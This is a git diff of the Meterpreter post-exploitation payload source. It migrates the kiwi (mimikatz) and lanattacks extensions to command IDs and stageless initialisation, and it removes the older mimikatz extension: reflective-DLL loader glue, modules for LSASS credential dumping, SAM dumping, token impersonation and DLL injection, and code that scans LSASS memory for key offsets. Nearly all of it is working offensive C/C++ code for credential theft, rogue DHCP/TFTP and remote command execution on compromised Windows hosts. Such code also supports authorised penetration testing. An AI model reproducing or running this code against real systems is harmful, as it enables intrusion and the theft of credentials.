//DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet);
|
||||
|
||||
/*! @brief The enabled commands for this extension. */
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ("kiwi_exec_cmd", request_exec_cmd),
|
||||
COMMAND_TERMINATOR
|
||||
COMMAND_REQ(COMMAND_ID_KIWI_EXEC_CMD, request_exec_cmd),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*!
|
||||
@ -49,6 +47,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
|
||||
// While this implies that powershell is in use, this is just a naming thing,
|
||||
// it's not actually using powershell.
|
||||
wchar_t* output = powershell_reflective_mimikatz(cmd);
|
||||
dprintf("[KIWI] Executed command: %S", cmd);
|
||||
if (output != NULL)
|
||||
{
|
||||
met_api->packet.add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output);
|
||||
@ -57,7 +56,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
|
||||
{
|
||||
result = ERROR_OUTOFMEMORY;
|
||||
}
|
||||
free(cmd);
|
||||
//LocalFree(cmd);
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -77,9 +76,9 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
DWORD InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
met_api = api;
|
||||
met_api = api;
|
||||
|
||||
dprintf("[KIWI] Init server extension - initorclean");
|
||||
mimikatz_initOrClean(TRUE);
|
||||
@ -97,7 +96,7 @@ DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
DWORD DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
mimikatz_initOrClean(FALSE);
|
||||
met_api->command.deregister_all(customCommands);
|
||||
@ -106,13 +105,21 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the name of the extension.
|
||||
* @param buffer Pointer to the buffer to write the name to.
|
||||
* @brief Do a stageless initialisation of the extension.
|
||||
* @param ID of the extension that the init was intended for.
|
||||
* @param buffer Pointer to the buffer that contains the init data.
|
||||
* @param bufferSize Size of the \c buffer parameter.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
|
||||
DWORD StagelessInit(UINT extensionId, const LPBYTE buffer, DWORD bufferSize)
|
||||
{
|
||||
strncpy_s(buffer, bufferSize, "kiwi", bufferSize - 1);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Callback for when a command has been added to the meterpreter instance.
|
||||
* @param commandId The ID of the command that has been added.
|
||||
*/
|
||||
VOID CommandAdded(UINT commandId)
|
||||
{
|
||||
}
|
||||
|
@ -1 +1 @@
|
||||
Subproject commit bc5d9947f58838a3d3446d1c8d42031c1d386ee1
|
||||
Subproject commit 9339edbaa10a2762ca149adffbb9c5372882860c
|
@ -8,6 +8,7 @@
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#define RDIDLL_NOEXPORT
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
#include <windows.h>
|
||||
#include "lanattacks.h"
|
||||
@ -160,15 +161,15 @@ DWORD request_lanattacks_stop_tftp(Remote *remote, Packet *packet)
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ("lanattacks_start_dhcp", request_lanattacks_start_dhcp),
|
||||
COMMAND_REQ("lanattacks_reset_dhcp", request_lanattacks_reset_dhcp),
|
||||
COMMAND_REQ("lanattacks_set_dhcp_option", request_lanattacks_set_dhcp_option),
|
||||
COMMAND_REQ("lanattacks_stop_dhcp", request_lanattacks_stop_dhcp),
|
||||
COMMAND_REQ("lanattacks_dhcp_log", request_lanattacks_dhcp_log),
|
||||
COMMAND_REQ("lanattacks_start_tftp", request_lanattacks_start_tftp),
|
||||
COMMAND_REQ("lanattacks_reset_tftp", request_lanattacks_stop_tftp),
|
||||
COMMAND_REQ("lanattacks_add_tftp_file", request_lanattacks_add_tftp_file),
|
||||
COMMAND_REQ("lanattacks_stop_tftp", request_lanattacks_stop_tftp),
|
||||
COMMAND_REQ(COMMAND_ID_LANATTACKS_START_DHCP, request_lanattacks_start_dhcp),
|
||||
COMMAND_REQ(COMMAND_ID_LANATTACKS_RESET_DHCP, request_lanattacks_reset_dhcp),
|
||||
COMMAND_REQ(COMMAND_ID_LANATTACKS_SET_DHCP_OPTION, request_lanattacks_set_dhcp_option),
|
||||
COMMAND_REQ(COMMAND_ID_LANATTACKS_STOP_DHCP, request_lanattacks_stop_dhcp),
|
||||
COMMAND_REQ(COMMAND_ID_LANATTACKS_DHCP_LOG, request_lanattacks_dhcp_log),
|
||||
COMMAND_REQ(COMMAND_ID_LANATTACKS_START_TFTP, request_lanattacks_start_tftp),
|
||||
COMMAND_REQ(COMMAND_ID_LANATTACKS_RESET_TFTP, request_lanattacks_stop_tftp),
|
||||
COMMAND_REQ(COMMAND_ID_LANATTACKS_ADD_TFTP_FILE, request_lanattacks_add_tftp_file),
|
||||
COMMAND_REQ(COMMAND_ID_LANATTACKS_STOP_TFTP, request_lanattacks_stop_tftp),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
@ -178,7 +179,7 @@ Command customCommands[] =
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
DWORD InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
met_api = api;
|
||||
|
||||
@ -200,7 +201,7 @@ DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote)
|
||||
DWORD DeinitServerExtension(Remote* remote)
|
||||
{
|
||||
destroyTFTPServer(tftpserver);
|
||||
tftpserver = NULL;
|
||||
@ -214,13 +215,21 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote)
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the name of the extension.
|
||||
* @param buffer Pointer to the buffer to write the name to.
|
||||
* @brief Do a stageless initialisation of the extension.
|
||||
* @param ID of the extension that the init was intended for.
|
||||
* @param buffer Pointer to the buffer that contains the init data.
|
||||
* @param bufferSize Size of the \c buffer parameter.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
|
||||
DWORD StagelessInit(UINT extensionId, const LPBYTE buffer, DWORD bufferSize)
|
||||
{
|
||||
strncpy_s(buffer, bufferSize, "lanattacks", bufferSize - 1);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Callback for when a command has been added to the meterpreter instance.
|
||||
* @param commandId The ID of the command that has been added.
|
||||
*/
|
||||
VOID CommandAdded(UINT commandId)
|
||||
{
|
||||
}
|
||||
|
@ -1,4 +0,0 @@
|
||||
#include "global.h"
|
||||
|
||||
std::wostringstream oss;
|
||||
std::wostringstream *outputStream = &oss;
|
@ -1,4 +0,0 @@
|
||||
#include <sstream>
|
||||
|
||||
extern std::wostringstream oss;
|
||||
extern std::wostringstream *outputStream;
|
@ -1,131 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "main.h"
|
||||
|
||||
// Moved this from the extern C section as it's clearly C++ related.
|
||||
std::wstring s2ws(const std::string& str)
|
||||
{
|
||||
int size_needed = MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0);
|
||||
std::wstring wstrTo( size_needed, 0 );
|
||||
MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), &wstrTo[0], size_needed);
|
||||
return wstrTo;
|
||||
}
|
||||
|
||||
extern "C"
|
||||
{
|
||||
#include "common_metapi.h"
|
||||
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
mimikatz* myMimiKatz;
|
||||
|
||||
// Singleton
|
||||
void initialize_mimikatz()
|
||||
{
|
||||
vector<wstring>* args;
|
||||
if (!myMimiKatz)
|
||||
{
|
||||
args = new vector<wstring>();
|
||||
myMimiKatz = new mimikatz(args);
|
||||
delete args;
|
||||
}
|
||||
}
|
||||
|
||||
void clear_buffer()
|
||||
{
|
||||
oss.str(L"");
|
||||
oss.clear();
|
||||
}
|
||||
|
||||
wchar_t* convert_wstring_to_wchar_t(wstring in)
|
||||
{
|
||||
const wchar_t* outputStr = in.c_str();
|
||||
wchar_t* out = new wchar_t[in.size() + 1];
|
||||
wcscpy_s(out, in.size() + 1, outputStr);
|
||||
out[in.size()] = '\0';
|
||||
return out;
|
||||
}
|
||||
|
||||
DWORD request_custom_command(Remote* remote, Packet* packet)
|
||||
{
|
||||
Packet* response = met_api->packet.create_response(packet);
|
||||
Tlv argTlv = { 0 };
|
||||
DWORD index = 0;
|
||||
vector<wstring> args;
|
||||
|
||||
LPCSTR func = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION);
|
||||
dprintf("Function: %s", met_api->packet.get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION));
|
||||
wstring function = s2ws(func);
|
||||
|
||||
while (met_api->packet.enum_tlv(packet, index++, TLV_TYPE_MIMIKATZ_ARGUMENT, &argTlv) == ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("Arg: %s", (PCHAR)argTlv.buffer);
|
||||
args.push_back(s2ws((PCHAR)argTlv.buffer));
|
||||
}
|
||||
|
||||
clear_buffer();
|
||||
|
||||
initialize_mimikatz();
|
||||
myMimiKatz->doCommandeLocale(&function, &args);
|
||||
|
||||
wchar_t* output = convert_wstring_to_wchar_t(oss.str());
|
||||
|
||||
clear_buffer();
|
||||
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_MIMIKATZ_RESULT, output, (DWORD)(wcslen(output) * sizeof(wchar_t)));
|
||||
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ("mimikatz_custom_command", request_custom_command),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
met_api = api;
|
||||
|
||||
met_api->command.register_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Deinitialize the server extension.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote)
|
||||
{
|
||||
met_api->command.deregister_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the name of the extension.
|
||||
* @param buffer Pointer to the buffer to write the name to.
|
||||
* @param bufferSize Size of the \c buffer parameter.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
|
||||
{
|
||||
strncpy_s(buffer, bufferSize, "mimikatz", bufferSize - 1);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,30 +0,0 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_MIMIKATZ_MIMIKATZ_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_MIMIKATZ_MIMIKATZ_H
|
||||
extern "C"
|
||||
{
|
||||
#include "../../common/common.h"
|
||||
}
|
||||
#endif
|
||||
|
||||
#include "mimikatz.h"
|
||||
#include "global.h"
|
||||
|
||||
#define TLV_TYPE_EXTENSION_MIMIKATZ 0
|
||||
|
||||
#define TLV_TYPE_MIMIKATZ_RESULT \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_STRING, \
|
||||
TLV_TYPE_EXTENSION_MIMIKATZ, \
|
||||
TLV_EXTENSIONS + 1)
|
||||
|
||||
#define TLV_TYPE_MIMIKATZ_FUNCTION \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_STRING, \
|
||||
TLV_TYPE_EXTENSION_MIMIKATZ, \
|
||||
TLV_EXTENSIONS + 2)
|
||||
|
||||
#define TLV_TYPE_MIMIKATZ_ARGUMENT \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_STRING, \
|
||||
TLV_TYPE_EXTENSION_MIMIKATZ, \
|
||||
TLV_EXTENSIONS + 3)
|
@ -1,286 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mimikatz.h"
|
||||
|
||||
bool mimikatz::initLocalModules()
|
||||
{
|
||||
mod_system::getVersion(&mod_system::GLOB_Version);
|
||||
mod_mimikatz_sekurlsa::loadLsaSrv();
|
||||
mod_cryptoapi::loadRsaEnh();
|
||||
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"", L"Standard", mod_mimikatz_standard::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"crypto", L"Cryptographie et certificats", mod_mimikatz_crypto::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"hash", L"Hash", mod_mimikatz_hash::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"system", L"Gestion système", mod_mimikatz_system::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"process", L"Manipulation des processus", mod_mimikatz_process::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"thread", L"Manipulation des threads", mod_mimikatz_thread::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"service", L"Manipulation des services", mod_mimikatz_service::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"privilege", L"Manipulation des privilèges", mod_mimikatz_privilege::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"handle", L"Manipulation des handles", mod_mimikatz_handle::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"impersonate", L"Manipulation tokens d\'accès", mod_mimikatz_impersonate::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"winmine", L"Manipulation du démineur", mod_mimikatz_winmine::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"minesweeper", L"Manipulation du démineur 7", mod_mimikatz_minesweeper::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"nogpo", L"Anti-gpo et patchs divers", mod_mimikatz_nogpo::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"samdump", L"Dump de SAM", mod_mimikatz_samdump::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"inject", L"Injecteur de librairies", mod_mimikatz_inject::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"ts", L"Terminal Server", mod_mimikatz_terminalserver::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"divers", L"Fonctions diverses n\'ayant pas encore assez de corps pour avoir leurs propres module", mod_mimikatz_divers::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"sekurlsa", L"Dump des sessions courantes par providers LSASS", mod_mimikatz_sekurlsa::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"efs", L"Manipulations EFS", mod_mimikatz_efs::getMimiKatzCommands()));
|
||||
return true;
|
||||
}
|
||||
|
||||
mimikatz::mimikatz(vector<wstring> * mesArguments) : Kmimikatz(NULL)
|
||||
{
|
||||
initLocalModules();
|
||||
//SetConsoleTitle(MIMIKATZ_FULL);
|
||||
//(*outputStream) << MIMIKATZ_FULL << L"\t/* Traitement du Kiwi (" << __DATE__ << L' ' << __TIME__ << L") */" << endl <<
|
||||
// L"// http://blog.gentilkiwi.com/mimikatz" << endl;
|
||||
|
||||
//bool mustContinue = true;
|
||||
//if(mesArguments)
|
||||
//{
|
||||
// for(vector<wstring>::iterator maCommande = mesArguments->begin(); mustContinue && (maCommande != mesArguments->end()); maCommande++)
|
||||
// {
|
||||
// wstring commande = *maCommande;
|
||||
// (*outputStream) << endl << MIMIKATZ << L"(commandline) # " << dec << commande << endl;
|
||||
// mustContinue = tryToDispatch(&commande);
|
||||
// }
|
||||
//}
|
||||
|
||||
//if(mustContinue)
|
||||
//{
|
||||
// wstring * monBuffer = new wstring();
|
||||
// do
|
||||
// {
|
||||
// (*outputStream) << endl << MIMIKATZ << L" # " << dec;
|
||||
// getline(wcin, *monBuffer);
|
||||
// } while(tryToDispatch(monBuffer));
|
||||
// delete monBuffer;
|
||||
//}
|
||||
//(*outputStream).flush();
|
||||
}
|
||||
|
||||
mimikatz::~mimikatz(void)
|
||||
{
|
||||
mod_cryptoapi::unloadRsaEnh();
|
||||
mod_mimikatz_sekurlsa::unloadLsaSrv();
|
||||
mod_mimikatz_inject::closeThisCommunicator();
|
||||
}
|
||||
|
||||
bool mimikatz::tryToDispatch(wstring * maLigne)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(!(reussite = maLigne->empty()))
|
||||
{
|
||||
switch(*(maLigne->begin()))
|
||||
{
|
||||
case L'@':
|
||||
case L'*':
|
||||
reussite = this->doCommandeDistante(maLigne->substr(1));
|
||||
break;
|
||||
case L'!':
|
||||
reussite = this->doCommandeKernel(maLigne->substr(1));
|
||||
break;
|
||||
default:
|
||||
wstring fonction = *maLigne;
|
||||
vector<wstring> arguments;
|
||||
|
||||
size_t monIndex = fonction.find(L' ');
|
||||
if(monIndex != wstring::npos)
|
||||
{
|
||||
fonction = fonction.substr(0, monIndex);
|
||||
arguments = mod_parseur::parse(maLigne->substr(monIndex + 1));
|
||||
}
|
||||
reussite = doCommandeLocale(&fonction, &arguments);
|
||||
}
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mimikatz::doCommandeLocale(wstring * fonction, vector<wstring> * arguments)
|
||||
{
|
||||
size_t monIndex = fonction->find(L"::");
|
||||
|
||||
wstring module = L"";
|
||||
wstring commande = *fonction;
|
||||
|
||||
if(monIndex != wstring::npos)
|
||||
{
|
||||
module = fonction->substr(0, monIndex);
|
||||
commande = fonction->substr(monIndex + 2);
|
||||
}
|
||||
|
||||
for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); ++monModule)
|
||||
{
|
||||
if(module == monModule->module)
|
||||
{
|
||||
for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); ++maCommande)
|
||||
{
|
||||
if(commande == maCommande->commandName)
|
||||
{
|
||||
return maCommande->ptrCommand(arguments);
|
||||
}
|
||||
}
|
||||
|
||||
if(module.empty()) (*outputStream) << L"Commande locale \'" << commande << L"\' introuvable" << endl;
|
||||
else (*outputStream) << L"Module : \'" << module << L"\' identifié, mais commande \'" << commande << L"\' introuvable" << endl;
|
||||
|
||||
(*outputStream) << endl << L"Description du module : " << monModule->description << endl;
|
||||
listCommandes(monModule);
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
(*outputStream) << L"Module : \'" << module << L"\' introuvable" << endl << endl << L"Modules disponibles : " << endl;
|
||||
listModules();
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mimikatz::openKernel()
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(!Kmimikatz || Kmimikatz == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
(*outputStream) << L"Ouverture du pilote mimikatz : ";
|
||||
Kmimikatz = CreateFile(L"\\\\.\\mimikatz", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if(reussite = (Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE))
|
||||
(*outputStream) << L"OK";
|
||||
else
|
||||
(*outputStream) << L"CreateFile ; " << mod_system::getWinError();
|
||||
(*outputStream) << endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
reussite = true;
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mimikatz::closeKernel()
|
||||
{
|
||||
bool reussite = false;
|
||||
if(Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
if(CloseHandle(Kmimikatz))
|
||||
{
|
||||
Kmimikatz = NULL;
|
||||
reussite = true;
|
||||
}
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mimikatz::doCommandeKernel(std::wstring &commande)
|
||||
{
|
||||
if(!commande.empty())
|
||||
{
|
||||
if(openKernel())
|
||||
{
|
||||
DWORD dwReturn;
|
||||
/*
|
||||
(*outputStream) << L"DEBUG WriteFile " << endl <<
|
||||
L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl;
|
||||
*/
|
||||
if(WriteFile(Kmimikatz, commande.c_str(), (DWORD)((commande.size() + 1) * sizeof(wchar_t)), &dwReturn, NULL))
|
||||
{
|
||||
/*(*outputStream) << L"\tWriten : " << dwReturn << endl << endl;*/
|
||||
|
||||
DWORD dwBuff = 0x40000;
|
||||
DWORD dwRead = 0;
|
||||
BYTE * buffer = new BYTE[dwBuff];
|
||||
RtlZeroMemory(buffer, dwBuff);
|
||||
|
||||
/*(*outputStream) << L"DEBUG ReadFile " << endl <<
|
||||
L"\tBuffSize : " << dwBuff << endl;*/
|
||||
|
||||
if(ReadFile(Kmimikatz, buffer, dwBuff, &dwRead, NULL))
|
||||
{
|
||||
/*(*outputStream) <<
|
||||
L"\tReaded : " << dwRead << endl <<
|
||||
endl;
|
||||
*/
|
||||
(*outputStream) /*<< L"BUFF : " << endl*/
|
||||
<< reinterpret_cast<wchar_t *>(buffer) << endl;
|
||||
}
|
||||
else (*outputStream) << L"ReadFile : " << mod_system::getWinError() << endl;
|
||||
|
||||
delete[] buffer;
|
||||
}
|
||||
else (*outputStream) << L"WriteFile : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else (*outputStream) << L"Impossible de communiquer avec le pilote mimikatz";
|
||||
}
|
||||
else
|
||||
{
|
||||
(*outputStream) << L"Commande vide (fermeture forcée) reçue" << endl;
|
||||
closeKernel();
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mimikatz::doCommandeDistante(std::wstring &commande)
|
||||
{
|
||||
bool commOk = false;
|
||||
|
||||
if(mod_mimikatz_inject::monCommunicator)
|
||||
{
|
||||
if(!commande.empty())
|
||||
{
|
||||
if(mod_mimikatz_inject::monCommunicator->isConnected())
|
||||
{
|
||||
if(mod_mimikatz_inject::monCommunicator->writeToPipe(commande))
|
||||
{
|
||||
wstring buffer = L"";
|
||||
do
|
||||
{
|
||||
if(commOk = mod_mimikatz_inject::monCommunicator->readFromPipe(buffer))
|
||||
{
|
||||
(*outputStream) << buffer.substr(1) ;
|
||||
}
|
||||
else
|
||||
{
|
||||
(*outputStream) << L"Erreur : pas de réponse possible ; " << mod_system::getWinError() << endl;
|
||||
break;
|
||||
}
|
||||
} while(*(buffer.begin()) == L'#');
|
||||
}
|
||||
else (*outputStream) << L"Erreur : pas d\'écriture possible ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"Commande vide (déconnexion forcée) reçue" << endl;
|
||||
}
|
||||
else (*outputStream) << L"Erreur : pas ou plus de communication établie" << endl;
|
||||
|
||||
if(!commOk)
|
||||
mod_mimikatz_inject::closeThisCommunicator();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void mimikatz::listModules()
|
||||
{
|
||||
for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); ++monModule)
|
||||
{
|
||||
(*outputStream) << setw(12) << setfill(wchar_t(' ')) << monModule->module << L"\t- " << monModule->description << endl;
|
||||
}
|
||||
}
|
||||
|
||||
void mimikatz::listCommandes(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule)
|
||||
{
|
||||
for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); ++maCommande)
|
||||
{
|
||||
if(maCommande->commandName.front() != L':')
|
||||
(*outputStream) << setw(12) << setfill(wchar_t(' ')) << maCommande->commandName << L"\t- " << maCommande->commandHelp << endl;
|
||||
}
|
||||
}
|
@ -1,56 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "modules/globdefs.h"
|
||||
#include "modules/mod_parseur.h"
|
||||
#include "modules/mod_pipe.h"
|
||||
#include "modules/mod_process.h"
|
||||
#include "modules/mod_system.h"
|
||||
|
||||
#include "modules/mod_mimikatz_standard.h"
|
||||
#include "modules/mod_mimikatz_crypto.h"
|
||||
#include "modules/mod_mimikatz_hash.h"
|
||||
#include "modules/mod_mimikatz_system.h"
|
||||
#include "modules/mod_mimikatz_process.h"
|
||||
#include "modules/mod_mimikatz_thread.h"
|
||||
#include "modules/mod_mimikatz_service.h"
|
||||
#include "modules/mod_mimikatz_privilege.h"
|
||||
#include "modules/mod_mimikatz_handle.h"
|
||||
#include "modules/mod_mimikatz_winmine.h"
|
||||
#include "modules/mod_mimikatz_minesweeper.h"
|
||||
#include "modules/mod_mimikatz_nogpo.h"
|
||||
#include "modules/mod_mimikatz_samdump.h"
|
||||
#include "modules/mod_mimikatz_inject.h"
|
||||
#include "modules/mod_mimikatz_terminalserver.h"
|
||||
#include "modules/mod_mimikatz_divers.h"
|
||||
#include "modules/mod_mimikatz_impersonate.h"
|
||||
#include "modules/mod_mimikatz_sekurlsa.h"
|
||||
#include "modules/mod_mimikatz_efs.h"
|
||||
|
||||
class mimikatz
|
||||
{
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE> mesModules;
|
||||
bool initLocalModules();
|
||||
bool tryToDispatch(wstring * maLigne);
|
||||
bool doCommandeLocale(wstring * fonction, vector<wstring> * arguments);
|
||||
bool doCommandeDistante(std::wstring &commande);
|
||||
bool doCommandeKernel(std::wstring &commande);
|
||||
|
||||
bool openKernel();
|
||||
bool closeKernel();
|
||||
|
||||
void listModules();
|
||||
void listCommandes(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule);
|
||||
|
||||
HANDLE Kmimikatz;
|
||||
|
||||
public:
|
||||
mimikatz(vector<wstring> * mesArguments = NULL);
|
||||
virtual ~mimikatz(void);
|
||||
};
|
||||
|
Binary file not shown.
@ -1,75 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "keys_nt5.h"
|
||||
PBYTE * mod_mimikatz_sekurlsa_keys_nt5::g_pRandomKey = NULL, * mod_mimikatz_sekurlsa_keys_nt5::g_pDESXKey = NULL;
|
||||
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3};
|
||||
LONG OFFS_WNT5_g_pRandomKey = -(6 + 2 + 5 + (LONG)sizeof(long));
|
||||
LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pRandomKey - (3 + sizeof(long));
|
||||
